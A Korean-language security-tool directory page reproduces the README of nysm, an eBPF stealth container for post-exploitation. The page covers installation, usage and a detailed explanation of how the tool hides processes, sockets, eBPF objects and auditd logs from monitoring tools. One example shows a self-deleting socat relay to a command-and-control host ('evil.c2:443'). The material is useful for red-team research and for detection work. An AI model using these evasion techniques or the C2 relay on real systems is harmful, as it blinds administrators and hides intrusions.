Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/eeriedusk/nysm
Container SecurityPost-ExploitationRed Teaming
GitHubeeriedusk/nysm

nysm

eBPF 기반의 은닉 컨테이너로, 시스템 모니터링 도구로부터 프로세스, 소켓, eBPF 객체 및 감사 로그를 숨겨 은밀한 사후 침투 작업을 가능하게 합니다.

저장소 보기
2683741년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

nysm

nysm

은밀한 사후 침투 컨테이너.

목차

  • 1. 소개
  • 2. 설치
    • 2.1 요구 사항
    • 2.2 Linux 헤더
    • 2.3 빌드
  • 3. 사용법
    • 3.1 예제
  • 4. 작동 방식
    • 4.1 일반
    • 4.2 eBPF 객체 숨기기
    • 4.3 Auditd 로그 숨기기
    • 4.4 PID 숨기기
    • 4.5 소켓 숨기기
  • 5. 한계

소개

eBPF 기반 공격 도구의 인기가 높아지면서, 자격 증명 탈취기부터 자신의 PID를 숨기는 루트킷에 이르기까지, 우리는 다음과 같은 질문을 떠올렸습니다: eBPF를 eBPF 자신의 눈에 보이지 않게 만드는 것이 가능할까? 여기서부터 nysm이 탄생했습니다. nysm은 eBPF 은밀 컨테이너로, 공격 도구가 시스템 관리자의 레이더에 포착되지 않도록 하는 것을 목표로 합니다. eBPF를 숨기는 것뿐만 아니라 훨씬 더 많은 기능을 제공합니다:

  • bpftool
  • bpflist-bpfcc
  • ps
  • top
  • sockstat
  • ss
  • rkhunter
  • chkrootkit
  • lsof
  • auditd
  • 기타 등등

이 모든 도구들은 nysm을 통과하는 내용을 볼 수 없게 됩니다. nysm이 숨기는 것:

  • 새로운 eBPF 프로그램 ⚙️
  • 새로운 eBPF 맵 🗺️
  • 새로운 eBPF 링크 🔗
  • 새로운 Auditd 생성 로그 📰
  • 새로운 PID 🪪
  • 새로운 소켓 🔌

경고 이 도구는 eBPF의 기능을 간단히 시연하기 위한 것입니다. 완전함을 목표로 하지 않습니다. 그럼에도 불구하고, 풀 리퀘스트는 언제나 환영합니다.

설치

요구 사항

root@kitploit:~
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y

Linux 헤더

root@kitploit:~
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

빌드

root@kitploit:~
cd ./nysm/src/
make

사용법

nysm은 의도한 명령어 앞에 실행하는 간단한 프로그램입니다:

root@kitploit:~
Usage: nysm [OPTION...] COMMAND
은밀 eBPF 컨테이너.

  -d, --detach               COMMAND를 백그라운드에서 실행
  -r, --rm                   실행 후 자체 삭제
  -v, --verbose              자세한 출력 생성
  -h, --help                 이 도움말 표시
      --usage                간단한 사용법 메시지 표시

예제

은밀한 bash 실행:

root@kitploit:~
./nysm bash

은밀한 ssh 실행 후 ./nysm 제거:

root@kitploit:~
./nysm -r ssh user@domain

은밀한 socat을 데몬으로 실행하고 ./nysm 제거:

root@kitploit:~
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443

작동 방식

일반

eBPF는 반환 값이나 커널 주소를 덮어쓸 수 없기 때문에, 우리의 목표는 사용자 공간 주소와 상호작용하는 가장 낮은 수준의 호출을 찾아 그 값을 덮어써서 원하는 객체를 숨기는 것입니다.

nysm 이벤트와 다른 이벤트를 구분하기 위해, 모든 것은 분리된 PID 네임스페이스 안에서 실행됩니다.

eBPF 객체 숨기기

bpftool에는 nysm이 회피하려는 몇 가지 기능이 있습니다: bpftool prog list, bpftool map list, bpftool link list.

모든 eBPF 프로그램과 마찬가지로, bpftool은 bpf() 시스템 호출을 사용하며, 특히 BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID, BPF_LINK_GET_NEXT_ID 명령어를 사용합니다. 이러한 호출의 결과는 attr 인자가 가리키는 사용자 공간 주소에 저장됩니다.

uattr를 덮어쓰기 위해, bpf() 진입 시점에 트레이스포인트를 설정하여 가리키는 주소를 맵에 저장합니다. 그런 다음, bpf() 종료 트레이스포인트를 기다립니다. bpf()가 종료되면, nysm은 bpf_attr 구조체를 읽고 쓸 수 있습니다. 각 BPF_*_GET_NEXT_ID 후에, bpf_attr.start_id를 bpf_attr.next_id로 대체합니다.

특정 ID를 숨기기 위해, bpf_attr.next_id를 확인하고 nysm 내에서 생성되지 않은 다음 ID로 대체합니다.

프로그램, 맵, 링크 ID는 security_bpf_prog(), security_bpf_map(), bpf_link_prime()에서 수집됩니다.

Auditd 로그 숨기기

Auditd는 recvfrom()을 통해 로그를 수신하며, 메시지는 버퍼에 저장됩니다.

수신된 메시지가 nysm 프로세스에 의해 audit_log_end()를 통해 생성된 경우, nlmsghdr 헤더의 메시지 길이를 0으로 대체합니다.

PID 숨기기

eBPF로 PID를 숨기는 것은 새로운 것이 아닙니다. nysm은 getdents64()에서 /proc 내의 새로운 alloc_pid() PID를 숨기기 위해 이전 레코드의 길이를 변경합니다.

getdents64()는 모든 파일을 순회해야 하기 때문에, eBPF 명령어 제한에 쉽게 도달합니다. 따라서 nysm은 그 제한에 도달하기 전에 테일 콜을 사용합니다.

소켓 숨기기

소켓을 숨긴다는 것은 큰 말입니다. 사실, 열린 소켓은 이미 많은 도구에서 숨겨져 있습니다. 왜냐하면 그들은 /proc에서 프로세스를 찾을 수 없기 때문입니다. 그럼에도 불구하고, ss는 NETLINK_SOCK_DIAG 플래그를 사용하여 socket()을 호출합니다. 이 호출은 현재 열려 있는 모든 소켓을 반환합니다. 그 후, ss는 recvmsg()를 통해 결과를 메시지 버퍼로 받고, 반환 값은 이 모든 메시지 길이의 합입니다.

여기서는 PID와 동일한 방법이 적용됩니다: nysm 소켓을 숨기기 위해 이전 메시지의 길이를 수정합니다.

이러한 소켓은 connect() 및 bind() 호출에서 수집됩니다.

한계

최선의 노력에도 불구하고, nysm에는 여전히 몇 가지 한계가 있습니다.

  • 파일 디스크립터를 닫지 않는 모든 도구는 nysm이 실행되는 동안 생성된 nysm 프로세스를 발견할 수 있습니다. 예를 들어, ./nysm bash가 top보다 먼저 실행되면 프로세스가 나타나지 않습니다. 하지만, top이 여전히 실행 중인 상태에서 해당 bash 인스턴스에서 다른 프로세스가 생성되면 새 프로세스가 발견됩니다. 소켓 및 nethogs와 같은 도구에서도 동일한 문제가 발생합니다.

  • 커널 로그: dmesg 및 /var/log/kern.log에서 nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory!라는 메시지가 nysm 실행 시 eBPF 검증기로 인해 여러 번 나타납니다.

  • 파일에 기록된 많은 추적은 read() 및 write()를 후킹하는 것이 너무 무거울 수 있기 때문에 남아 있습니다 (그러나 여전히 가능합니다). 예를 들어, /proc/net/tcp 또는 /sys/kernel/debug/tracing/enabled_functions 등이 있습니다.

  • ss의 를 숨기는 것은 까다로울 수 있습니다. 새로운 소켓이 버퍼의 시작 부분에 나타날 수 있고, nysm은 이전 레코드로 그것을 숨길 수 없기 때문입니다 . 빠른 수정으로는 첫 번째 소켓과 다음 합법적인 소켓의 위치를 바꾸는 것이 있지만, 소켓이 버퍼에 하나만 있는 경우는 어떻게 해야 할까요? 따라서 nysm은 첫 번째 소켓 정보를 하드코딩된 값으로 수정합니다.

물론, 이러한 한계들 중 많은 부분은 각자의 해결책이 있을 것입니다. 다시 말하지만, 풀 리퀘스트는 언제나 환영합니다.

도구 다운로드
recvmsg
(PID에는 해당되지 않음)
  • nysm 자식 프로세스에서 어떤 종류의 BPF_*_GET_NEXT_ID 플래그와 함께 bpf()를 실행하는 것은 피해야 합니다. 왜냐하면 그것이 nysm이 아닌 모든 eBPF 객체를 숨기기 때문입니다.